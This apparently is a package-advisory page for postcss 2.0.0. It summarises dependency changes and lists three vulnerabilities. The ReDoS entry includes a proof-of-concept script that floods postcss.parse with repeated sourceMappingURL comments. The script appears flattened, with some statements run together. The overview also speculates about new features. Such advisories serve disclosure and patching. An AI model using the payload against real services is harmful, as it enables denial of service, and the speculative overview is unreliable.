PostCSS is a framework designed for CSS postprocessors, offering robust source map support. Version 2.0.0 introduces notable changes and additions compared to its predecessor, version 1.0.0. One significant update is the introduction of "traceur" as a dependency, suggesting enhanced support for modern JavaScript features and potentially enabling more advanced CSS manipulation capabilities. Several new development dependencies were added for version 2.0.0 including tools like Gulp, gulp-related plugins for traceur, jshint and mocha tests. Request for making HTTP requests, and gulp-util which is a utility belt for gulp were added, indicating a refined development workflow and improved testing infrastructure. The core functionality around handling source maps seems to have been updated, moving from "source-map":"~0.1.34" in version 1.0.0 to "source-map":"~0.1.37" in version 2.0.0.
For developers, the upgrade to version 2.0.0 provides access to potentially improved performance and stability, along with enhanced tooling for development and testing. While the core description of the library remains the same, focusing on CSS postprocessing with source map support, the underlying improvements suggest a more mature and feature-rich ecosystem. Developers already using PostCSS should evaluate the new dependencies and development tools added in version 2.0.0. Potential benefits may be found around supporting cutting-edge CSS features and more optimized build processes. Be sure to check the official PostCSS documentation for detailed upgrade guides and API changes.
All the vulnerabilities related to the version 2.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
semver vulnerable to Regular Expression Denial of Service
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.